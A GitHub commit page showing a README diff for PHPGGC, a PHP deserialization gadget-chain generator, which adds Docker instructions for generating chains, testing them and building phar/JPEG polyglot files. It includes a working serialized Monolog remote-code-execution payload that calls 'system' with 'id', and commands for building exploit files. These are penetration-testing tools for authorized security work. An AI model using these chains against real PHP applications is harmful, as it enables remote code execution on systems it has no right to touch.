Skip to content

Commit b6750e7

Browse files
committed
docs: improve docker usage
1 parent de3a613 commit b6750e7

File tree

1 file changed

+17
-1
lines changed

1 file changed

+17
-1
lines changed

README.md

+17-1
Original file line numberDiff line numberDiff line change
@@ -334,13 +334,29 @@ For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetc
334334

335335
If you don't want to install PHP, you can use `docker build . -t 'phpggc'`.
336336

337-
To generate a gadget chain.
337+
### To generate a gadget chain.
338338

339339
```
340340
$ docker run phpggc Monolog/rce1 'system' 'id'
341341
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
342342
```
343343

344+
### To test a chain
345+
346+
jump to your environment's folder and run the chain argument-free, with the `--test-payload` option:
347+
348+
```
349+
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
350+
```
351+
352+
### To generate phar / polyglot files
353+
354+
> **Obs**: The command must be executed in the directory where the input image is located.
355+
356+
```
357+
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
358+
```
359+
344360
To run `test-gc-compatibility.py` from docker.
345361
```
346362
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2

0 commit comments

Comments
 (0)